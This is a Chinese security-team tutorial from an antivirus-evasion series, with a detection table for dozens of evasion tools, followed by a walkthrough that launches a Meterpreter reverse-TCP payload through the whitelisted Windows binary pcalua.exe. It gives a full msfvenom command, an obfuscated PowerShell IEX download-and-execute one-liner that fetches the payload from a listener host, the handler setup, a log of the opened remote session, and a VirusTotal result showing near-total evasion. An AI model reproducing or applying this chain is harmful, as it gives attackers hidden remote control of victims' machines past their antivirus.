

Author:CSeroad@Tide安全团队

Tide安全团队：

Tide安全团队致力于分享高质量原创文章，研究方向覆盖网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等多个领域，对安全感兴趣的小伙伴可以关注或加入我们。

Tide安全团队自研开源多套安全平台，如Tide(潮汐)网络空间搜索平台、潮启移动端安全管控平台、分布式web扫描平台WDSscanner、Mars网络威胁监测平台、潮汐指纹识别系统、潮巡自动化漏洞挖掘平台、工业互联网安全监测平台、漏洞知识库、代理资源池、字典权重库、内部培训系统等等。

Tide安全团队自建立之初持续向CNCERT、CNVD、漏洞盒子、补天、各大SRC等漏洞提交平台提交漏洞，在漏洞盒子先后组建的两支漏洞挖掘团队在全国300多个安全团队中均拥有排名前十的成绩。团队成员在FreeBuf、安全客、安全脉搏、t00ls、简书、CSDN、51CTO、CnBlogs等网站开设专栏或博客，研究安全技术、分享经验技能。

对安全感兴趣的小伙伴可以关注Tide安全团队Wiki：<http://paper.TideSec.com> 或团队公众号。



声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！

文章打包下载及相关软件下载：<https://github.com/TideSec/BypassAntiVirus>

免杀能力一览表

几点说明：

- 1、表中标识 ☒ 说明相应杀毒软件未检测出病毒，也就是代表了Bypass。
- 2、为了更好的对比效果，大部分测试payload均使用msf的 `windows/meterpreter/reverse_tcp` 模块生成。
- 3、由于本机测试时只是安装了360全家桶和火绒，所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本 5.0.0.8160 (2020.01.01)，火绒版本 5.0.34.16 (2020.01.01)，360安全卫士 12.0.0.2002 (2020.01.01)。
- 4、其他杀软的检测指标是在 [virustotal.com](https://www.virustotal.com)（简称VT）上在线查杀，所以可能只是代表了静态查杀能力，数据仅供参考，不足以作为杀软查杀能力或免杀能力的判断指标。
- 5、完全不必要苛求一种免杀技术能bypass所有杀软，这样的技术肯定是有的，只是没被公开，一旦公开第二天就能被杀了，其实我们只要能bypass目标主机上的杀软就足够了。
- 6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理，静态查杀payload或者查杀白名单程序都没有任何意义，所以这里对白名单程序的免杀效果不做评判。

序号	免杀方法	VT查杀率	360	QQ	火绒	卡巴	McAfee	微软	Symantec	瑞星	金山	江民	趋势
1	未免杀处理	53/69									<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	
2	msf自编码	51/69		<input checked="" type="checkbox"/>							<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	
3	msf自捆绑	39/69		<input checked="" type="checkbox"/>							<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
4	msf捆绑+编码	35/68	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>							<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
5	msf多重编码	45/70		<input checked="" type="checkbox"/>			<input checked="" type="checkbox"/>				<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
6	Evasion模块exe	42/71		<input checked="" type="checkbox"/>							<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
7	Evasion模块hta	14/59			<input checked="" type="checkbox"/>				<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
8	Evasion模块csc	12/71		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
9	Veil原生exe	44/71	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>						<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>
10	Veil+gcc编译	23/71	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>				<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
11	Venom-生成exe	19/71		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>				<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
12	Venom-生成dll	11/71	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>			<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
13	Shellter免杀	7/69	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
14	BackDoor-Factory	13/71		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>			<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
15	BDF+shellcode	14/71		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
16	Avet免杀	17/71	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>			<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>

17	TheFatRat:ps1-exe	22/70		✓	✓		✓	✓	✓		✓	✓	✓
18	TheFatRat:加壳exe	12/70	✓	✓		✓	✓	✓	✓		✓	✓	✓
19	TheFatRat:c#-exe	37/71		✓			✓			✓	✓	✓	✓
20	Avoidz:c#-exe	23/68		✓		✓	✓			✓	✓		✓
21	Avoidz:py-exe	11/68		✓		✓	✓		✓		✓	✓	✓
22	Avoidz:go-exe	23/71		✓		✓	✓	✓			✓	✓	✓
23	Green-Hat-Suite	23/70		✓		✓	✓	✓			✓	✓	✓
24	Zirikatu免杀	39/71	✓	✓	✓					✓	✓	✓	✓
25	AVlator免杀	25/69	✓	✓	✓		✓		✓	✓	✓	✓	✓
26	DMKC免杀	8/55		✓		✓		✓	✓	✓	✓	✓	✓
27	Unicorn免杀	29/56			✓				✓		✓	✓	✓
28	Python-Rootkit免杀	7/69	✓	✓	✓		✓		✓	✓	✓	✓	✓
29	ASWCrypter免杀	19/57	✓				✓				✓	✓	✓
30	nps_payload免杀	3/56	✓	✓	✓		✓	✓	✓	✓	✓	✓	✓
31	GreatSct免杀	14/56	✓	✓	✓			✓	✓	✓	✓	✓	✓
32	HERCULES免杀	29/71			✓						✓		✓
33	SpookFlare免杀	16/67		✓	✓	✓	✓		✓	✓	✓		✓
34	SharpShooter免杀	22/57	✓	✓				✓			✓	✓	✓
35	CACTUSTORCH免杀	23/57	✓	✓	✓		✓				✓	✓	✓
36	Winpayloads免杀	18/70	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
37	C/C++1:指针执行	23/71	✓	✓			✓		✓		✓		✓
38	C/C++2:动态内存	24/71	✓	✓			✓		✓		✓		✓
39	C/C++3:嵌入汇编	12/71	✓	✓	✓		✓	✓	✓		✓	✓	✓
40	C/C++4:强制转换	9/70	✓	✓	✓		✓	✓	✓	✓	✓	✓	✓
41	C/C++5:汇编花指令	12/69	✓	✓	✓		✓	✓	✓		✓	✓	✓
42	C/C++6:XOR加密	15/71	✓	✓	✓		✓		✓	✓	✓	✓	✓
43	C/C++7:base64加密1	28/69	✓	✓	✓		✓		✓		✓	✓	✓
44	C/C++8:base64加密2	28/69	✓	✓	✓		✓		✓		✓		✓
45	C/C++9:python+汇编	8/70	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
46	C/C++10:python+xor	15/69	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
47	C/C++11:sc_launcher	3/71	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
48	C/C++12:使用SSI加载	6/69	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
49	C# 法1:编译执行	20/71	✓	✓	✓		✓		✓	✓	✓	✓	✓
50	C# 法2:自实现加密	8/70	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
51	C# 法3:XOR/AES加密	14/71	✓	✓	✓		✓		✓	✓	✓	✓	✓
52	C# 法4:CSC编译	33/71	✓	✓	✓					✓	✓	✓	✓
53	py 法1:嵌入C代码	19/70	✓	✓	✓			✓		✓	✓	✓	✓
54	py 法2:py2exe编译	10/69	✓	✓	✓		✓		✓	✓	✓	✓	✓
55	py 法3:base64加密	16/70	✓	✓	✓	✓				✓	✓	✓	✓
56	py 法4:py+C编译	18/69		✓	✓					✓	✓	✓	✓
57	py 法5:xor编码	19/71	✓	✓	✓					✓	✓	✓	✓
58	py 法6:aes加密	19/71	✓	✓	✓					✓	✓	✓	✓
59	py 法7:HEX加载	3/56	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
60	py 法8:base64加载	4/58	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
61	ps 法1:msf原生	18/56	✓	✓	✓					✓	✓	✓	✓

[illegible]

本文目录：

- 免杀能力一览表
- 一、Pcalua介绍
- 二、Pcalua使用
- 三、执行payload
- 四、参考资料

一、Pcalua介绍

Pcalua是Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。

默认在C:\Windows\System32\pcalua.exe

二、Pcalua使用

命令为

```
Pcalua -m -a payload
```

三、执行payload

这里选择使用powershell生成payload

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10  
LPORT=8080 -f psh-reflection > a.ps1
```

并对powershell命令进行混淆处理。

```
powershell "$a='IEX((new-object  
net.webclient).downloadstring(''ht'';$b='tp://10.211.55.10/a.ps1'))'  
';IEX ($a+$b)''"
```

然后将该命令写成a.bat批处理，方便执行。metasploit进行监听

```
Payload options (windows/x64/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, d, process, none)
LHOST	10.211.55.10	yes	The listen address (an interface m specified)
LPORT	8080	yes	The listen port

```
Exploit target:
```

Id	Name
0	Wildcard Target

```
msf5 exploit(multi/handler) > set exitonsession false
exitonsession => false
msf5 exploit(multi/handler) > exploit -j -z
```

在测试机上执行该命令

```
Pcalua -m -a a.bat
```



发现只有火绒提示"powershell可执行操作" 放行后msf可上线

```
[*] Started reverse TCP handler on 10.211.55.10:8080
msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 10.211.55.18
[*] Meterpreter session 2 opened (10.211.55.10:8080 -> 10.211.55.18:50085) at
20-02-20 15:10:31 +0800

msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: WIN7-COMPUTER\cseroad
meterpreter >
```

放在virustotal.com上a.bat查杀率为1/56

1

/ 56

Community Score

One engine detected this file

08c6bda86f2b1a3387f73da70f3c4bea5f75786015b4d99142baeb241fb71a6e

a.bat

text

113.00 B

Size

2020-02-20 07:23:30 UTC

a moment ago

TXT

DETECTION	DETAILS	COMMUNITY
Qihoo-360	<div><div></div><div>Virus.bat.powershell.b</div></div>	<div>Ad-Aware</div> <div><div></div>Undetected</div>
AhnLab-V3	<div><div></div><div>Undetected</div></div>	<div>ALYac</div> <div><div></div>Undetected</div>
Antiy-AVL	<div><div></div><div>Undetected</div></div>	<div>Arcabit</div> <div><div></div>Undetected</div>
Avast	<div><div></div><div>Undetected</div></div>	<div>Avast-Mobile</div> <div><div></div>Undetected</div>
AVG	<div><div></div><div>Undetected</div></div>	<div>Avira (no cloud)</div> <div><div></div>Undetected</div>
Baidu	<div><div></div><div>Undetected</div></div>	<div>BitDefender</div> <div><div></div>Undetected</div>
BitDefenderTheta	<div><div></div><div>Undetected</div></div>	<div>Bkav</div> <div><div></div>Undetected</div>
CAT-QuickHeal	<div><div></div><div>Undetected</div></div>	<div>CiamAV</div> <div><div></div>Undetected</div>
CMC	<div><div></div><div>Undetected</div></div>	<div>Comodo</div> <div><div></div>Undetected</div>
Cyren	<div><div></div><div>Undetected</div></div>	<div>DrWeb</div> <div><div></div>Undetected</div>
Emsisoft	<div><div></div><div>Undetected</div></div>	<div>eScan</div> <div><div></div>Undetected</div>
ESET-NOD32	<div><div></div><div>Undetected</div></div>	<div>F-Prot</div> <div><div></div>Undetected</div>

四、参考资料

基于白名单Wmic 执行 payload 第十季复
现: <https://blog.csdn.net/ws13129/article/details/89791442>